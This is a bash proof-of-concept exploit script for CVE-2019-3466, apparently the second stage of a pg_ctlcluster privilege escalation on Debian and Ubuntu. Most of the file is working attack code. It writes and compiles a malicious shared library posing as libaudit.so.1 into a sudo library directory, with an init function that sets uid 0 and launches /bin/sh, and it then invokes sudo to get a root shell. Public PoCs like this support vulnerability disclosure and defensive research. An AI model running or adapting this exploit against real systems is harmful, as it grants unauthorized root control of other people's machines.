#!/bin/bash
# PoC for CVE-2019-3466
# Author: Rich Mirch @0xm1rch
# Blog: https://blog.mirch.io/cve-2019-3466-debian-ubuntu-pg_ctlcluster-privilege-escalation
#
# Usage:
# ./CVE-2019-3466-stage1.sh
# Restart postgresql via systemd
# ./CVE-2019-3466-stage2.sh
#
umask 077

function cleanup {
  rm -f ${src?} ${target?} woot.o
}

trap 'cleanup' EXIT ERR

src=$(mktemp /tmp/woot.XXXXXX.c)
target=/usr/lib/sudo/haswell/libaudit.so.1

target_dir=$(dirname ${target?})

if [[ ! -w ${target_dir?} ]]
then
  echo "ERROR: ${target_dir?} is not writable; re-run stage1 and restart postgres as root"
  exit 1
fi

cat>${src?}<<EOF
/*
 * Author: Rich Mirch @0xm1rch
 * PoC for pg_ctlcluster arbitrary directory creation
 * gcc -fPIC -o woot.o -Wall -c woot.c
 * gcc -Wall -shared -Wl,-soname,libaudit.so.1 \
 *      -Wl,-init,woot -o /usr/lib/sudo/haswell/libaudit.so.1 woot.o
 * sudo
 */
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void audit_open()
{
  return;
}

void audit_log_user_message()
{
  return;
}

void woot(){
  setreuid(0,0);
  setregid(0,0);
  execl("/bin/sh","/bin/sh",NULL);
}
EOF

gcc -fPIC -o woot.o -Wall -c ${src?}
gcc -Wall -shared -Wl,-soname,libaudit.so.1 \
    -Wl,-init,woot -o ${target?} woot.o

if [[ $? -ne 0 ]]
then
  echo "ERROR: gcc failed to create ${target?} - Did you run stage1 and restart postgres"
  exit 1
fi

sudo "uid 0 is my friend"
